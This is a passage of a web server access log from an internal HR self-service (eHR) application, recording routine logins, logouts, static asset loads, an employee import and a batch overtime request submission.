[04/Dec/2025:09:21:31 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:31 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194 HTTP/1.1" 302 - 192.168.11.70 - - [04/Dec/2025:09:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13708 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13708 192.168.11.70 - - [04/Dec/2025:09:21:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [04/Dec/2025:09:21:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132722%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132722&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:37 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132722%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132722&target=iframe HTTP/1.1" 200 3251 192.168.11.70 - - [04/Dec/2025:09:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132722 HTTP/1.1" 200 5531 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132722%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132722&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132722 HTTP/1.1" 200 5531 192.168.11.70 - - [04/Dec/2025:09:21:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132722&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16684 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132722" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132722&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16684 192.168.11.70 - - [04/Dec/2025:09:21:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7163961645727746 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:22:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7163961645727746 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:22:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7163961645727746 HTTP/1.1" 200 15735 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7163961645727746" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:22:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7163961645727746 HTTP/1.1" 200 15735 192.168.11.70 - - [04/Dec/2025:09:22:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:22:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.70 - - [04/Dec/2025:09:22:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:22:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.12.46 - - [04/Dec/2025:09:25:13 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:09:25:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [04/Dec/2025:09:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [04/Dec/2025:09:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:09:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [04/Dec/2025:09:25:26 +0800] "GET 